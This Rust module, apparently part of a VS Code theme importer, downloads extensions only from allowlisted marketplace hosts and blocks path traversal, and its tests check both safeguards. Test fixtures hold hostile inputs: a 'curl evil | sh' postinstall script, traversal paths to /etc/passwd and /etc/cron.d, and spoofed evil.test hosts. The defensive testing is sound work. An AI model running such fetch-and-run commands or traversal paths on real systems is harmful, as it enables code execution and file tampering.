use std::path::{Path, PathBuf};
use std::time::Duration;
use anyhow::{Context, Result, bail};
pub const FETCH_TIMEOUT: Duration = Duration::from_secs(60);
pub const MAX_VSIX_BYTES: u64 = 64 * 1024 * 1024;
pub const MAX_MEMBER_BYTES: u64 = 8 * 1024 * 1024;
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Gallery {
VisualStudio,
OpenVsx,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct ExtensionId {
pub publisher: String,
pub name: String,
pub gallery: Gallery,
}
impl ExtensionId {
pub fn vsix_url(&self) -> Option<String> {
match self.gallery {
Gallery::VisualStudio => Some(format!(
"https://marketplace.visualstudio.com/_apis/public/gallery/publishers/{}/vsextensions/{}/latest/vspackage",
self.publisher, self.name
)),
Gallery::OpenVsx => None,
}
}
pub fn metadata_url(&self) -> String {
format!(
"https://open-vsx.org/api/{}/{}/latest",
self.publisher, self.name
)
}
}
pub fn parse_ref(input: &str) -> Result<ExtensionId> {
let raw = input.trim();
if raw.is_empty() {
bail!("empty extension reference");
}
let (candidate, gallery) = if let Some(rest) = raw.strip_prefix("vscode:extension/") {
(rest.to_string(), Gallery::VisualStudio)
} else if raw.starts_with("http://") || raw.starts_with("https://") {
item_name_from_url(raw)?
} else {
(raw.to_string(), Gallery::VisualStudio)
};
split_id(&candidate, gallery)
}
fn item_name_from_url(url: &str) -> Result<(String, Gallery)> {
let rest = url
.strip_prefix("https://")
.or_else(|| url.strip_prefix("http://"))
.unwrap_or(url);
let (host, tail) = rest.split_once('/').unwrap_or((rest, ""));
let host = host.split_once('@').map(|(_, h)| h).unwrap_or(host);
let host = host.split(':').next().unwrap_or(host);
let host = host.to_ascii_lowercase();
let gallery = match host.as_str() {
"marketplace.visualstudio.com" => Gallery::VisualStudio,
"open-vsx.org" => Gallery::OpenVsx,
_ => bail!(
"not a marketplace URL: {host} (expected marketplace.visualstudio.com or open-vsx.org)"
),
};
if let Some(q) = tail.split_once('?').map(|(_, q)| q) {
for pair in q.split('&') {
if let Some(v) = pair.strip_prefix("itemName=") {
return Ok((v.to_string(), gallery));
}
}
}
if let Some(rest) = tail.strip_prefix("extension/")
&& let Some((pubr, name)) = rest.split_once('/')
{
let cut = |s: &str| s.split(['/', '?', '#']).next().unwrap_or(s).to_string();
return Ok((format!("{}.{}", cut(pubr), cut(name)), gallery));
}
bail!("marketplace URL carries no itemName= parameter");
}
fn split_id(candidate: &str, gallery: Gallery) -> Result<ExtensionId> {
let candidate = candidate.split(['?', '#']).next().unwrap_or(candidate);
let Some((publisher, name)) = candidate.split_once('.') else {
bail!("expected publisher.name, got {candidate:?}");
};
let ok = |s: &str| {
!s.is_empty()
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_')
};
if !ok(publisher) || !ok(name) {
bail!("expected publisher.name in [A-Za-z0-9_-], got {candidate:?}");
}
Ok(ExtensionId {
publisher: publisher.to_string(),
name: name.to_string(),
gallery,
})
}
pub struct Scratch {
path: PathBuf,
}
impl Scratch {
pub fn new(path: PathBuf) -> Result<Self> {
#[cfg(unix)]
{
use std::os::unix::fs::DirBuilderExt;
std::fs::DirBuilder::new()
.mode(0o700)
.create(&path)
.with_context(|| format!("making {}", path.display()))?;
}
#[cfg(not(unix))]
std::fs::create_dir(&path).with_context(|| format!("making {}", path.display()))?;
Ok(Self { path })
}
pub fn path(&self) -> &Path {
&self.path
}
}
impl Drop for Scratch {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.path);
}
}
#[allow(dead_code)]
pub fn file_stem(label: &str) -> String {
let mapped: String = label
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
c
} else {
'-'
}
})
.collect();
let trimmed = mapped.trim_matches('-');
if trimmed.is_empty() {
return String::from("theme");
}
let capped: String = trimmed.chars().take(64).collect();
let capped = capped.trim_matches('-');
if capped.is_empty() {
String::from("theme")
} else {
capped.to_string()
}
}
fn resolve_nls(value: &str, nls: Option<&serde_json::Value>) -> String {
let Some(key) = value.strip_prefix('%').and_then(|v| v.strip_suffix('%')) else {
return value.to_string();
};
nls.and_then(|n| n.get(key))
.and_then(|v| v.as_str())
.unwrap_or(value)
.to_string()
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct ContributedTheme {
pub label: String,
pub path: String,
}
pub fn contributed_themes(
package_json: &str,
nls_json: Option<&str>,
) -> Result<Vec<ContributedTheme>> {
let v: serde_json::Value =
serde_json::from_str(package_json).context("package.json is not valid JSON")?;
let Some(list) = v.pointer("/contributes/themes").and_then(|t| t.as_array()) else {
bail!("this extension contributes no themes");
};
let nls: Option<serde_json::Value> = nls_json.and_then(|text| serde_json::from_str(text).ok());
let mut out = Vec::new();
for t in list {
let Some(path) = t.get("path").and_then(|p| p.as_str()) else {
continue;
};
let label = t
.get("label")
.and_then(|l| l.as_str())
.or_else(|| t.get("id").and_then(|l| l.as_str()))
.unwrap_or(path);
out.push(ContributedTheme {
path: path.trim_start_matches("./").to_string(),
label: resolve_nls(label, nls.as_ref()),
});
}
if out.is_empty() {
bail!("this extension contributes no themes");
}
Ok(out)
}
pub fn pick_theme<'a>(
themes: &'a [ContributedTheme],
wanted: Option<&str>,
) -> Result<&'a ContributedTheme> {
if let Some(w) = wanted {
return themes
.iter()
.find(|t| t.label.eq_ignore_ascii_case(w))
.with_context(|| {
let names: Vec<&str> = themes.iter().map(|t| t.label.as_str()).collect();
format!(
"no theme called {w:?}; this extension has: {}",
names.join(", ")
)
});
}
match themes {
[only] => Ok(only),
many => {
let names: Vec<&str> = many.iter().map(|t| t.label.as_str()).collect();
bail!(
"this extension contributes {} themes; pass --theme with one of: {}",
many.len(),
names.join(", ")
)
}
}
}
pub fn download_vsix(id: &ExtensionId, dir: &Path) -> Result<PathBuf> {
use std::io::Read;
let url = match id.vsix_url() {
Some(url) => url,
None => resolve_open_vsx_download(id)?,
};
let resp = get_checked(&url).with_context(|| format!("downloading {url}"))?;
let dest = dir.join(format!("{}.{}.vsix", id.publisher, id.name));
let mut bytes = Vec::new();
resp.into_reader()
.take(MAX_VSIX_BYTES + 1)
.read_to_end(&mut bytes)
.context("reading the .vsix body")?;
if bytes.len() as u64 > MAX_VSIX_BYTES {
bail!(
"refusing a .vsix larger than {} bytes — that is not a theme",
MAX_VSIX_BYTES
);
}
let bytes = gunzip_if_needed(bytes)?;
std::fs::write(&dest, &bytes).with_context(|| format!("writing {}", dest.display()))?;
Ok(dest)
}
const FETCH_HOSTS: [&str; 4] = [
"marketplace.visualstudio.com",
"gallery.vsassets.io",
"open-vsx.org",
"openvsx.eclipsecontent.org",
];
fn host_of(url: &str) -> Option<String> {
let rest = url.strip_prefix("https://")?;
let host = rest.split('/').next()?;
let host = host.split_once('@').map(|(_, h)| h).unwrap_or(host);
let host = host.split(':').next().unwrap_or(host);
(!host.is_empty()).then(|| host.to_ascii_lowercase())
}
fn check_host(url: &str) -> Result<()> {
let Some(host) = host_of(url) else {
bail!("not an https URL: {url}");
};
if !FETCH_HOSTS.contains(&host.as_str()) {
bail!("refusing to fetch from {host} — not a marketplace host");
}
Ok(())
}
const MAX_CHAIN: usize = 8;
pub fn extract_theme_chain(vsix: &Path, theme_path: &str, scratch: &Path) -> Result<PathBuf> {
let mut pending = vec![theme_path.trim_start_matches("./").to_string()];
let mut seen: Vec<String> = Vec::new();
let mut entry: Option<PathBuf> = None;
while let Some(rel) = pending.pop() {
if seen.contains(&rel) {
continue;
}
if seen.len() >= MAX_CHAIN {
bail!("include chain longer than {MAX_CHAIN} files (a cycle?)");
}
let (text, dest) = extract_member_at(vsix, &rel, scratch)?;
if entry.is_none() {
entry = Some(dest);
}
seen.push(rel.clone());
let (include, token_colors) = referenced_files(&text);
if let Some(file) = token_colors {
extract_member_at(vsix, &sibling_of(&rel, &file), scratch)?;
}
if let Some(inc) = include {
pending.push(sibling_of(&rel, &inc));
}
}
entry.ok_or_else(|| anyhow::anyhow!("no theme file extracted"))
}
fn extract_member_at(vsix: &Path, rel: &str, scratch: &Path) -> Result<(String, PathBuf)> {
let text = read_member(vsix, &format!("extension/{rel}"), scratch)
.with_context(|| format!("reading the theme member {rel}"))?;
let dest = contained_scratch_path(scratch, rel)?;
if let Some(parent) = dest.parent() {
std::fs::create_dir_all(parent).with_context(|| format!("making {}", parent.display()))?;
}
std::fs::write(&dest, &text).with_context(|| format!("writing {}", dest.display()))?;
Ok((text, dest))
}
fn sibling_of(rel: &str, name: &str) -> String {
let base = Path::new(rel).parent().unwrap_or(Path::new(""));
let joined = base.join(name.trim_start_matches("./"));
joined.to_string_lossy().replace('\\', "/")
}
fn referenced_files(text: &str) -> (Option<String>, Option<String>) {
let stripped = crate::tasks::strip_jsonc(text);
let Ok(v) = serde_json::from_str::<serde_json::Value>(&stripped) else {
return (None, None);
};
let field = |k: &str| v.get(k).and_then(|x| x.as_str()).map(str::to_string);
(field("include"), field("tokenColors"))
}
fn contained_scratch_path(scratch: &Path, rel: &str) -> Result<PathBuf> {
let candidate = Path::new(rel);
if candidate.is_absolute() {
bail!("theme path {rel} is absolute");
}
let mut out = scratch.to_path_buf();
for comp in candidate.components() {
match comp {
std::path::Component::Normal(c) => out.push(c),
std::path::Component::CurDir => {}
_ => bail!("theme path {rel} escapes the import directory"),
}
}
if !out.starts_with(scratch) {
bail!("theme path {rel} escapes the import directory");
}
Ok(out)
}
fn agent() -> ureq::Agent {
ureq::AgentBuilder::new()
.timeout(FETCH_TIMEOUT)
.redirects(0)
.build()
}
const MAX_HOPS: usize = 4;
fn get_checked(url: &str) -> Result<ureq::Response> {
let mut url = url.to_string();
for _ in 0..MAX_HOPS {
check_host(&url)?;
let resp = agent()
.get(&url)
.call()
.with_context(|| format!("fetching {url}"))?;
if !(300..400).contains(&resp.status()) {
return Ok(resp);
}
let Some(next) = resp.header("location") else {
bail!("{url} answered {} with no location", resp.status());
};
url = match next.starts_with("https://") {
true => next.to_string(),
false => match host_of(&url) {
Some(h) => format!("https://{h}{next}"),
None => bail!("cannot resolve {next} against {url}"),
},
};
}
bail!("too many redirects fetching {url}")
}
fn resolve_open_vsx_download(id: &ExtensionId) -> Result<String> {
use std::io::Read;
let meta_url = id.metadata_url();
let resp = get_checked(&meta_url).with_context(|| format!("looking up {meta_url}"))?;
let mut body = String::new();
resp.into_reader()
.take(MAX_MEMBER_BYTES + 1)
.read_to_string(&mut body)
.context("reading the Open VSX metadata")?;
let doc: serde_json::Value =
serde_json::from_str(&body).context("parsing the Open VSX metadata")?;
let Some(url) = doc
.get("files")
.and_then(|f| f.get("download"))
.and_then(|d| d.as_str())
else {
bail!(
"Open VSX names no download for {}.{}",
id.publisher,
id.name
);
};
check_host(url).with_context(|| format!("Open VSX named a download at {url}"))?;
Ok(url.to_string())
}
fn gunzip_if_needed(bytes: Vec<u8>) -> Result<Vec<u8>> {
use std::io::Read;
if !bytes.starts_with(&[0x1f, 0x8b]) {
return Ok(bytes);
}
let mut out = Vec::new();
flate2::read::GzDecoder::new(&bytes[..])
.take(MAX_VSIX_BYTES + 1)
.read_to_end(&mut out)
.context("decompressing the gzipped .vsix")?;
if out.len() as u64 > MAX_VSIX_BYTES {
bail!(
"refusing a .vsix that decompresses past {} bytes",
MAX_VSIX_BYTES
);
}
Ok(out)
}
pub fn read_member(vsix: &Path, member: &str, scratch: &Path) -> Result<String> {
let extracted =
crate::archive::extract_member(vsix, crate::archive::ArchiveKind::Zip, member, scratch)
.with_context(|| format!("extracting {member}"))?;
let len = std::fs::metadata(&extracted)
.with_context(|| format!("sizing {member}"))?
.len();
if len > MAX_MEMBER_BYTES {
bail!("{member} is {len} bytes — that is not a theme file");
}
std::fs::read_to_string(&extracted).with_context(|| format!("reading {member}"))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn every_reference_shape_resolves_to_the_same_id() {
let ms = ExtensionId {
publisher: "zhuangtongfa".into(),
name: "material-theme".into(),
gallery: Gallery::VisualStudio,
};
for input in [
"zhuangtongfa.material-theme",
"vscode:extension/zhuangtongfa.material-theme",
"https://marketplace.visualstudio.com/items?itemName=zhuangtongfa.material-theme",
"https://marketplace.visualstudio.com/items?ssr=false&itemName=zhuangtongfa.material-theme",
" zhuangtongfa.material-theme ",
"https://Marketplace.VisualStudio.com/items?itemName=zhuangtongfa.material-theme",
] {
assert_eq!(parse_ref(input).unwrap(), ms, "for {input}");
}
assert_eq!(
ms.vsix_url().unwrap(),
"https://marketplace.visualstudio.com/_apis/public/gallery/publishers/zhuangtongfa/vsextensions/material-theme/latest/vspackage"
);
}
#[test]
fn an_open_vsx_reference_keeps_its_gallery() {
let id = parse_ref("https://open-vsx.org/extension/vscode/theme-monokai").unwrap();
assert_eq!(id.publisher, "vscode");
assert_eq!(id.name, "theme-monokai");
assert_eq!(id.gallery, Gallery::OpenVsx);
assert!(id.vsix_url().is_none());
assert!(id.metadata_url().starts_with("https://open-vsx.org/api/"));
let ms = parse_ref("vscode.theme-monokai").unwrap();
assert_eq!(ms.gallery, Gallery::VisualStudio);
assert!(
ms.vsix_url()
.unwrap()
.contains("marketplace.visualstudio.com")
);
assert_ne!(id, ms);
}
#[test]
fn a_hostile_theme_label_cannot_name_a_path() {
let scratch = Path::new("/tmp/croft-scratch-fixture");
for label in [
"../../../../tmp/PWNED",
"/etc/cron.d/pwn",
"..",
"../..",
"a/b/c",
"a\\b",
"....//....//x",
] {
let stem = file_stem(label);
assert!(
!stem.contains('/') && !stem.contains('\\'),
"{label:?} kept a separator: {stem:?}"
);
assert!(stem != ".." && stem != ".", "{label:?} stayed traversal");
let out = scratch.join(format!("{stem}.json"));
assert!(
out.starts_with(scratch),
"{label:?} escaped the scratch dir: {}",
out.display()
);
}
assert_eq!(file_stem("///"), "theme");
assert_eq!(file_stem(""), "theme");
for label in [
"x".repeat(4096),
format!("{}{}", "a".repeat(70), "/".repeat(70)),
format!("{}{}", "-".repeat(64), "real"),
"é".repeat(300),
] {
let stem = file_stem(&label);
assert!(
!stem.is_empty(),
"empty stem for a {}-char label",
label.len()
);
assert!(stem.len() <= 64, "stem of {} bytes: {stem:?}", stem.len());
assert!(!stem.starts_with('-') && !stem.ends_with('-'), "{stem:?}");
}
assert_eq!(file_stem("Nord"), "Nord");
assert_eq!(file_stem("One Dark Pro"), "One-Dark-Pro");
}
#[test]
fn only_marketplace_hosts_are_fetched_from() {
for url in [
"https://marketplace.visualstudio.com/_apis/x",
"https://open-vsx.org/api/vscode/theme-monokai/latest",
"https://openvsx.eclipsecontent.org/vscode/theme-monokai/1.0.0/x.vsix",
"https://Open-VSX.org/api/a/b/latest",
] {
assert!(check_host(url).is_ok(), "must allow {url}");
}
for url in [
"https://evil.test/x.vsix",
"https://open-vsx.org.evil.test/x.vsix",
"https://evil.test/open-vsx.org/x.vsix",
"https://open-vsx.org@evil.test/x.vsix",
"https://openvsx.eclipsecontent.org.evil.test/x",
"http://open-vsx.org/x.vsix",
"file:///etc/passwd",
"",
] {
assert!(check_host(url).is_err(), "must refuse {url}");
}
assert_eq!(
host_of("https://evil.test@open-vsx.org/x").as_deref(),
Some("open-vsx.org")
);
}
fn make_vsix(path: &Path, members: &[(&str, &str)]) {
use std::io::Write as _;
let f = std::fs::File::create(path).unwrap();
let mut z = zip::ZipWriter::new(f);
let opts = zip::write::SimpleFileOptions::default()
.compression_method(zip::CompressionMethod::Stored);
for (name, body) in members {
z.start_file(*name, opts).unwrap();
z.write_all(body.as_bytes()).unwrap();
}
z.finish().unwrap();
}
#[test]
fn a_theme_arrives_with_its_whole_include_chain() {
let dir = tempfile::tempdir().unwrap();
let vsix = dir.path().join("x.vsix");
make_vsix(
&vsix,
&[
(
"extension/themes/dark_modern.json",
r##"{"include": "./dark_plus.json", "colors": {"editor.background": "#111111"}}"##,
),
(
"extension/themes/dark_plus.json",
"{\n // extends the base\n \"include\": \"./dark_vs.json\"\n}",
),
(
"extension/themes/dark_vs.json",
r##"{"name": "Dark Base", "colors": {"editor.foreground": "#eeeeee"}}"##,
),
("extension/themes/unrelated.json", r#"{"name": "Nope"}"#),
],
);
let scratch = dir.path().join("scratch");
std::fs::create_dir(&scratch).unwrap();
let entry = extract_theme_chain(&vsix, "./themes/dark_modern.json", &scratch).unwrap();
assert!(
entry.ends_with("themes/dark_modern.json"),
"entry at {}",
entry.display()
);
for name in ["dark_modern.json", "dark_plus.json", "dark_vs.json"] {
assert!(
scratch.join("themes").join(name).is_file(),
"{name} missing from the extracted chain"
);
}
assert!(
!scratch.join("themes/unrelated.json").exists(),
"a member outside the chain was extracted"
);
let converted = crate::vscode_theme::convert_file(&entry, None).unwrap();
assert!(
converted.manifest.contains("Dark Base"),
"the base theme's name did not survive the chain: {}",
converted.manifest
);
}
#[test]
fn a_token_colors_file_is_extracted_with_its_theme() {
let dir = tempfile::tempdir().unwrap();
let vsix = dir.path().join("x.vsix");
make_vsix(
&vsix,
&[
(
"extension/themes/top.json",
r##"{"include": "./base.json", "tokenColors": "./top-tokens.json"}"##,
),
(
"extension/themes/base.json",
r##"{"name": "Base", "tokenColors": "sub/base-tokens.json"}"##,
),
(
"extension/themes/top-tokens.json",
r##"[{"scope": "comment", "settings": {"foreground": "#00ff00"}}]"##,
),
(
"extension/themes/sub/base-tokens.json",
r##"[{"scope": "string", "settings": {"foreground": "#ff0000"}}]"##,
),
],
);
let scratch = dir.path().join("scratch");
std::fs::create_dir(&scratch).unwrap();
let entry = extract_theme_chain(&vsix, "themes/top.json", &scratch).unwrap();
for name in ["top-tokens.json", "sub/base-tokens.json"] {
assert!(
scratch.join("themes").join(name).is_file(),
"{name} missing from the extraction"
);
}
crate::vscode_theme::convert_file(&entry, None).unwrap();
}
#[test]
fn a_hostile_include_chain_is_refused() {
let dir = tempfile::tempdir().unwrap();
let scratch = dir.path().join("s");
let vsix = dir.path().join("t.vsix");
make_vsix(
&vsix,
&[(
"extension/themes/a.json",
r#"{"include": "../../../../etc/passwd"}"#,
)],
);
std::fs::create_dir_all(&scratch).unwrap();
let err = extract_theme_chain(&vsix, "themes/a.json", &scratch).unwrap_err();
assert!(
format!("{err:#}").contains("escapes") || format!("{err:#}").contains("reading"),
"unexpected error: {err:#}"
);
assert!(
!dir.path().join("etc").exists() && !scratch.join("../etc").exists(),
"traversal wrote outside the scratch directory"
);
let cyc = dir.path().join("c.vsix");
make_vsix(
&cyc,
&[
("extension/a.json", r#"{"include": "./b.json"}"#),
("extension/b.json", r#"{"include": "./a.json"}"#),
],
);
let s2 = dir.path().join("s2");
std::fs::create_dir_all(&s2).unwrap();
let entry = extract_theme_chain(&cyc, "a.json", &s2).unwrap();
assert!(entry.ends_with("a.json"));
assert!(
s2.join("b.json").is_file(),
"the cycle's other half is there"
);
}
#[test]
fn the_scratch_directory_cleans_up_after_itself() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("scratch");
{
let scratch = Scratch::new(path.clone()).unwrap();
std::fs::write(scratch.path().join("leftover.bin"), b"x").unwrap();
assert!(path.is_dir(), "staging: the directory exists while held");
assert!(
Scratch::new(path.clone()).is_err(),
"an existing path must not be adopted"
);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&path).unwrap().permissions().mode();
assert_eq!(
mode & 0o077,
0,
"the scratch dir must not be group- or world-accessible: {mode:o}"
);
}
}
assert!(
!path.exists(),
"the scratch directory outlived its guard, contents and all"
);
}
#[test]
fn a_url_that_is_not_a_marketplace_is_refused() {
for input in [
"https://evil.test/items?itemName=a.b",
"https://marketplace.visualstudio.com.evil.test/items?itemName=a.b",
"http://user@evil.test/items?itemName=a.b",
"https://marketplace.visualstudio.com/items",
"",
"not-an-id",
"a.",
".b",
"a b.c",
"../../etc/passwd",
"a.b/../../c",
] {
assert!(parse_ref(input).is_err(), "must refuse {input:?}");
}
}
#[test]
fn only_the_theme_list_is_read_from_a_package_json() {
let pkg = r##"{
"name": "x", "main": "./out/extension.js",
"activationEvents": ["*"],
"scripts": { "postinstall": "curl evil | sh" },
"contributes": {
"commands": [{ "command": "x.run" }],
"themes": [
{ "label": "One Dark Pro", "uiTheme": "vs-dark", "path": "./themes/OneDark-Pro.json" },
{ "id": "flat", "uiTheme": "vs-dark", "path": "themes/flat.json" }
]
}
}"##;
let themes = contributed_themes(pkg, None).unwrap();
assert_eq!(
themes,
vec![
ContributedTheme {
label: "One Dark Pro".into(),
path: "themes/OneDark-Pro.json".into()
},
ContributedTheme {
label: "flat".into(),
path: "themes/flat.json".into()
},
],
"the leading ./ is stripped and `id` stands in for a missing label"
);
assert!(contributed_themes(r#"{"contributes":{"commands":[]}}"#, None).is_err());
assert!(contributed_themes("not json", None).is_err());
let nls_pkg =
r#"{"contributes":{"themes":[{"label":"%themeLabel%","path":"./themes/m.json"}]}}"#;
let bundle = r#"{"themeLabel":"Monokai","description":"unrelated"}"#;
let resolved = contributed_themes(nls_pkg, Some(bundle)).unwrap();
assert_eq!(resolved[0].label, "Monokai");
assert_eq!(
contributed_themes(nls_pkg, None).unwrap()[0].label,
"%themeLabel%"
);
assert_eq!(
contributed_themes(nls_pkg, Some(r#"{"other":"x"}"#)).unwrap()[0].label,
"%themeLabel%"
);
assert_eq!(
contributed_themes(nls_pkg, Some("not json")).unwrap()[0].label,
"%themeLabel%"
);
let pct = r#"{"contributes":{"themes":[{"label":"100% Dark","path":"./t.json"}]}}"#;
assert_eq!(
contributed_themes(pct, Some(bundle)).unwrap()[0].label,
"100% Dark"
);
}
#[test]
fn a_gzipped_vsix_is_unwrapped_and_a_plain_one_is_not() {
use std::io::Write;
let zip_magic = b"PK\x03\x04rest of a zip";
assert_eq!(
gunzip_if_needed(zip_magic.to_vec()).unwrap(),
zip_magic.to_vec(),
"a plain zip is passed through byte for byte"
);
let mut enc = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
enc.write_all(zip_magic).unwrap();
let gzipped = enc.finish().unwrap();
assert_eq!(&gzipped[..2], &[0x1f, 0x8b], "fixture really is gzip");
assert_eq!(
gunzip_if_needed(gzipped).unwrap(),
zip_magic.to_vec(),
"and a gzipped one is unwrapped to the same bytes"
);
}
#[test]
fn a_multi_theme_extension_asks_which_one() {
let themes = vec![
ContributedTheme {
label: "Catppuccin Mocha".into(),
path: "themes/mocha.json".into(),
},
ContributedTheme {
label: "Catppuccin Latte".into(),
path: "themes/latte.json".into(),
},
];
let err = pick_theme(&themes, None).unwrap_err().to_string();
assert!(
err.contains("Catppuccin Mocha") && err.contains("Catppuccin Latte"),
"{err}"
);
assert_eq!(
pick_theme(&themes, Some("catppuccin latte")).unwrap().path,
"themes/latte.json",
"the match is case-insensitive"
);
let miss = pick_theme(&themes, Some("Nord")).unwrap_err().to_string();
assert!(miss.contains("no theme called"), "{miss}");
let one = &themes[..1];
assert_eq!(pick_theme(one, None).unwrap().path, "themes/mocha.json");
}
}